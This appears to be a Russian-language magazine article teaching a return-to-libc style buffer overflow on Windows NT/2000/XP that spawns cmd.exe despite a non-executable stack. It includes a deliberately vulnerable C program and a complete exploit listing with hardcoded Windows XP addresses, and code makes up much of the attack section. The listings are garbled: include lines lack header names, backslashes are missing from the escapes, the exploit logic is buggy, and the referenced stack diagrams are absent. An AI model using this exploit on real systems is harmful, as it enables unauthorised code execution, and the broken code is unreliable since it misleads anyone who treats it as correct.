Атака на переполнение буфера через неисполнимый стек в Windows NT/2000/XP

СТАНИСЛАВ ГОШКО

Атака на переполнение буфера

через неисполнимый стек в Windows NT/2000/XP

Атаки на переполнение буфера за последние 10 лет получили громадное распространение. Практически во всех современных операционных системах предусматривается защита от данных атак (Black Cat, Sun...). Поэтому не за горами то время, когда данная защита появится и у Windows-систем. В данной статье будет рассматриваться атака на переполнение буфера через неисполнимый стек.

Рассмотрим, чем отличается обычное переполнение буфера от переполнения буфера через неисполнимый стек.

Большинство атак на переполнение буфера строятся по следующей схеме:

• Подготавливается мусор и вычисляются номера байтов, которые перетирают адрес возврата.
• Подготавливается исполнимый код в качестве буфера.
• Вычисляется адрес возврата при помощи отладчика, так, чтобы он указывал на исполнимый код в стеке.
• Затем подготовленный буфер, содержащий мусорные байты, новый адрес возврата и исполнимый код передаются уязвимой программе.

Рассмотрим на схеме, как выглядит стек уязвимой программы в момент проведения обычной атаки на срыв стека:

Как вы могли заметить, исполнение shell-кода происходит прямо в стеке. Большинство защит ориентировано на то, чтобы воспрепятствовать выполнению кода в стеке, и данная защита очень хорошо работает против большинства эксплоитов.

Теперь для понимания функционирования эксплоитов, использующих атаку через неисполнимый стек, рассмотрим простую программу, которая вызывает через WinExec программу – «cmd.exe».

На языке С++ она бы выглядела так:

#include

void main ()

{

    WinExec("cmd",1);

}

В данной программе не видно вызова функции ExitProcess, так как компилятор C++ сам заботится о корректном завершении программы.

Рассмотрим аналогичную программу на языке ассемблера:

.386                           

.model flat, stdcall                                         

extrn ExitProcess:proc         

extrn WinExec:proc                              

.data                          

dd 0                                                         

.code                         

start:                                                

           push   1

           push   offset comm1

           call   WinExec                    ; !!!!!     

           push   0                         

           call   ExitProcess                                                          

           comm1  db "cmd",0

end start                                 

end

Теперь нам необходимо разобраться, как выглядит стек внутри функции WinExec. Рассмотрим схему стека внутри WinExec (вызов данной функции отмечен восклицательными знаками).

  

Для построения нашей атаки нам наиболее важны значения, отмеченные восклицательными знаками. Первый же параметр можно упустить.

Перейдём к конструированию нашей атаки. Мы должны так переполнить буфер, чтобы при возвращении из функции мы попали прямиком в WIN API-функцию с заполненным стеком. И самое главное, что стек должен быть заполнен корректно для вызова cmd.exe.

Разберём схему построения данной атаки:

• Подготавливается имя программы («cmd»), мусор и вычисляются номера байтов, которые перетирают адрес возврата.
• Вычисляется адрес строки при помощи отладчика так, чтобы он указывал на строку «cmd» в стеке.
• Вычисляются адреса функций: WinExec, ExitProcess.
• Затем подготовленный буфер, содержащий имя программы («cmd»), мусорные байты, новый адрес строки и адреса функций, передаётся уязвимой программе.

Рассмотрим схему стека при реализации данной атаки:

Как вы можете видеть по схеме стека, в момент атаки мы упустили первый параметр функции WinExec. А также мы поставили адрес функции ExitProcess в качестве адреса возврата из функции WinExec. После того, как консоль будет запущена, управление будет передано на функцию ExitProcess, которая корректно завершит процесс.

Теперь рассмотрим простую уязвимую программу и построим для неё эксплоит, работающий через неисполнимый стек.

Рассмотрим листинг:

#include

#include

void vuln_func(char *stroka)

{

    // буфер

    char buffer[256];  

    // функция в результате вызывающая переполнение буфера

    lstrcpyA(buffer,stroka);

}

void main (int argc, char *argv[])

{

    // вызов уязвимой функции

    vuln_func(argv[1]);

    printf("Parameter is : %s",argv[1]);

}

Откомпилируем её и выясним, что эта программа делает. Если её запустить без параметров, то она выведет следующее:

Parameter is : 0(null)

Запустим её следующим образом:

c:x-files-ug.exe aaaaaaa

Тогда данная программа выведет:

Parameter is : aaaaaaa

При «aaaaa....aaaa» в количестве больше чем 256 будет происходить переполнение буфера.

Теперь, когда у нас есть уязвимая программа, мы можем реализовать эксплоит для неё, который будет действовать по описанному выше принципу.

Рассмотрим листинг эксплоита:

// example exploit by sl0n 

#include

#include

void main()

{

    char garbage[1000];

    char buffer[500];

    char r_address1[8]="xC6x84xE6x77";         // адрес функции WinExec для WIN XP

    char r_address2[8]="xB5x5CxE7x77";         // адрес функции ExitProcess для WIN XP

    char pointer_to_cmd[8]="x80xfax12x00";     // адрес строки "cmd" в стэке

    memset(garbage,"x90",256);                    // Заполняем строку мусором (nop)

    strcat(buffer,"cmd ");                         // "cmd "

    strcat(buffer,garbage);                        // "cmd "+nop

    strcat(buffer,r_address1);                     // "cmd "+nop+WinExec

    strcat(buffer,r_address2);                     // "cmd "+nop+WinExec+ExitProcess

    strcat(buffer,pointer_to_cmd);                 // "cmd "+nop+WinExec+ExitProcess+....

    strcpy(garbage,"BUG.EXE ");

    strcat(garbage,buffer);

    //"BUG.EXE "+"cmd "+nop"ы+WinExec+ExitProcess+point_cmd 

    WinExec(buffer,1);

}

Как вы могли убедиться, для реализации данной атаки не нужно глубокое знание ассемблера для построения shell-кода. Она гораздо легче реализуется, чем традиционное переполнение буфера. Данный вид атаки на переполнение буфера гораздо более прогрессивный, но существует некоторая сложность построения удалённых эксплоитов данного типа.

По-моему, данная атака представляет собой второе дыхание эксплоитов, ориентированных на переполнение буфера.

Для борьбы с атаками данного вида системные администраторы должны с большим вниманием следить за обновлением программного обеспечения.

При написании статьи использовались материалы:

1. Non-stack Based Exploitation of Buffer Overrun Vulnerabilities on Windows NT/2000/XP by David Litchfield (david@ngssoftware.com).